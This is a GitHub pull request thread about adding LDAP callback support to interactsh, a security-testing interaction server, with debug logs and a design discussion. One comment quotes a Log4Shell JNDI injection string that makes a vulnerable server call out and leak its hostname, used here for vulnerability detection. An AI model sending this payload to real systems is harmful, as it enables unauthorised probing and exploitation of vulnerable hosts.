Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding ldap support #55

Merged
merged 30 commits into from
Dec 29, 2021
Merged

Adding ldap support #55

merged 30 commits into from
Dec 29, 2021

Conversation

Mzack9999
Copy link
Member

@Mzack9999 Mzack9999 commented Jul 23, 2021

Example of ldap interaction:

$ ldapsearch -LLL -H ldap://127.0.0.1:10389 -d 5 -o ldif-wrap=no -b "OU=testgroup,OU=Group,dc=example,dc=com" -D "test" -w "test" '(CN=testgroup)' cn

interactsh-server:

$ sudo go run . -ldap -debug -listen-ip 127.0.0.1 -ip 127.0.0.1
2021/12/13 12:25:48 Client Token: xxxx
2021/12/13 12:25:49 Listening on ports: DNS, SMTP, HTTP, LDAP
[DBG] LDAP Interaction: 
{"protocol":"ldap","unique-id":"","full-id":"","raw-request":"Listening on 127.0.0.1:10389\n","remote-address":"","timestamp":"2021-12-13T12:25:49.528108+01:00"}
[DBG] Registered correlationID xxx for key
[DBG] LDAP Interaction: 
{"protocol":"ldap","unique-id":"","full-id":"","raw-request":"Connection client [1] from 127.0.0.1:60991 accepted","remote-address":"","timestamp":"2021-12-13T12:26:02.724619+01:00"}
[DBG] LDAP Interaction: 
{"protocol":"ldap","unique-id":"","full-id":"","raw-request":"\u003c\u003c\u003c 1 - BindRequest - hex=\u0026{303c0201016037020103042b7569643d7365617263682d757365722c6f753d50656f706c652c64633d6578616d706c652c64633d636f6d80057465737461}","remote-address":"","timestamp":"2021-12-13T12:26:02.725405+01:00"}
[DBG] LDAP Interaction: 
{"protocol":"ldap","unique-id":"","full-id":"","raw-request":"\u003e\u003e\u003e 1 - LDAPResult - hex=302f020101302a0a0135040004234f7065726174696f6e206e6f7420696d706c656d656e74656420627920736572766572","remote-address":"","timestamp":"2021-12-13T12:26:02.725526+01:00"}

@Mzack9999 Mzack9999 added the Type: Enhancement Most issues will probably ask for additions or changes. label Jul 23, 2021
@Mzack9999 Mzack9999 self-assigned this Jul 23, 2021
@Mzack9999 Mzack9999 marked this pull request as draft July 23, 2021 01:01
@Mzack9999 Mzack9999 linked an issue Jul 23, 2021 that may be closed by this pull request
@Mzack9999 Mzack9999 marked this pull request as ready for review October 11, 2021 06:03
@Mzack9999 Mzack9999 requested review from Ice3man543 and ehsandeep and removed request for Ice3man543 December 13, 2021 13:14
@Mzack9999 Mzack9999 added the Status: Review Needed The issue has a PR attached to it which needs to be reviewed label Dec 13, 2021
@maikthulhu
Copy link
Contributor

Fantastic work on this, and timely! I spent some time looking through the code (I'm fairly unfamiliar with Go), and it doesn't appear there's a way to retrieve a property for the RemoteAddress field from the ldapserver library. I see that it's at least included in the connection accepted message. Are there plans to expose that so it can be consumed by interactsh?

Apologies if this isn't the place for this kind of discussion, I was just really excited to see this PR when I went looking.

@Mzack9999
Copy link
Member Author

@maikthulhu, the latest commit, improved the message parsing for most types of queries. Still, the low-level logging is enabled to capture raw messages and interactions like TCP connections, tls negotiation, etc.

@maikthulhu
Copy link
Contributor

Those changes definitely helped, thank you!

I spent some time this evening trying to get nuclei to report a positive LDAP hit (everyone's favorite log4j CVE). I studied the dns_server.go code and adapted ldap_server.go's handleSearch method and had some success when using an injection similar to the following:

${jndi:ldap://${hostName}.{{interactsh-url}}/{{interactsh-url}}}

This of course populates the baseDN with the unique interactsh domain, and I was able to key off of that and construct an Interaction object. It's late and I'd like to clean it up a bit (in the morning), but would you welcome the addition? If it seems like a good idea I can adopt the same changes to the various string fields for the other handlers.

@tmendo
Copy link

tmendo commented Dec 22, 2021

any reason for the LDAP interaction to be returned on an extra field instead of in the data, encrypted like the DNS interactions?

@maikthulhu
Copy link
Contributor

@tmendo can you elaborate on what you mean? Are you saying the way LDAP interactions and client message delivery are handled is different than the other integrated services?

@tmendo
Copy link

tmendo commented Dec 22, 2021

@tmendo can you elaborate on what you mean? Are you saying the way LDAP interactions and client message delivery are handled is different than the other integrated services?

@maikthulhu

Sort of. The main interaction is still DNS, and any LDAP interaction is recorded as extra for the DNS ones.

Example of the output coming from the server:

{
  "data": [
    "X=="
  ],
  "extra": [
    "{\"protocol\":\"ldap\",\"unique-id\":\"\",\"full-id\":\"\",\"raw-request\":\"Connection client [183] from 1.1.1.1:41142 accepted\",\"remote-address\":\"\",\"timestamp\":\"2021-12-21T23:56:18.121679917Z\"}\n",
    "{\"protocol\":\"ldap\",\"unique-id\":\"\",\"full-id\":\"\",\"raw-request\":\"\\u003c\\u003c\\u003c 183 - BindRequest - hex=\\u0026{XXXXXXXX}\",\"remote-address\":\"\",\"timestamp\":\"2021-12-21T23:56:18.122318202Z\"}\n",
    "{\"protocol\":\"ldap\",\"unique-id\":\"\",\"full-id\":\"\",\"raw-request\":\"Type=Bind\\nAuthenticationChoice=simple\\nUser=\\nPass=\\n\",\"remote-address\":\"1.1.1.1:41142\",\"timestamp\":\"2021-12-21T23:56:18.122460653Z\"}\n",
}

My comment is more about turning the LDAP interaction into a first-level citizen, replacing the DNS one for this case (or in addition to). This because a proper LDAP interaction is much less FP prone, than a DNS one (people click URLs, anti spam things parse URLs to resolve them and check lists, etc).

The other reason for the comment, is regarding being in clear. Hope that helps

ps: the pull request is very good, and I only got to this point because I'm using it :) But still recent to interactsh to propose a PR :)

@Mzack9999
Copy link
Member Author

@maikthulhu Thanks for implementing this. I'm going to finalize the PR and add the proposed changes. This makes the correlation possible.

@Mzack9999
Copy link
Member Author

@tmendo There are a few protocols where it's not easy to fit a correlation-id payload and extract it reliably. The correlation id is used to look up the encryption key generated at registration time. This is not possible for some protocols that, as a consequence, are disabled by default (such as FTP, smb, responder, etc.). These cannot be encrypted, so they are stored into a global entry in-memory. Hence they are suitable only for self-hosted instances where the access is protected with an authentication token (enabled by default if these services are active).
In the case of LDAP, the correlation is possible for queries of type search, and @maikthulhu has proposed implementation. Hence LDAP interactions can now be encrypted and eventually enabled on the public instance, where only those protocols allowing correlation with encryption are enabled.

Copy link
Member

@ehsandeep ehsandeep left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Apart from disabling the a) internal logger for ldapWithFullLogger and b) debug mode as default, everything looks good to me 🎉

@Mzack9999
Copy link
Member Author

Internal logger enabled with -ldap (internally ldapWithFullLogger) is intentional as it enables all LDAP interactions logging (those without correlationId). Shall it be disabled or renamed?

Copy link
Member

@Ice3man543 Ice3man543 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm!

@ehsandeep ehsandeep merged commit d36c907 into dev Dec 29, 2021
@ehsandeep ehsandeep deleted the feature-ldap branch December 29, 2021 10:43
@ehsandeep ehsandeep added Status: Completed Nothing further to be done with this issue. Awaiting to be closed. and removed Status: Review Needed The issue has a PR attached to it which needs to be reviewed labels Dec 29, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Status: Completed Nothing further to be done with this issue. Awaiting to be closed. Type: Enhancement Most issues will probably ask for additions or changes.
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Add LDAP support
5 participants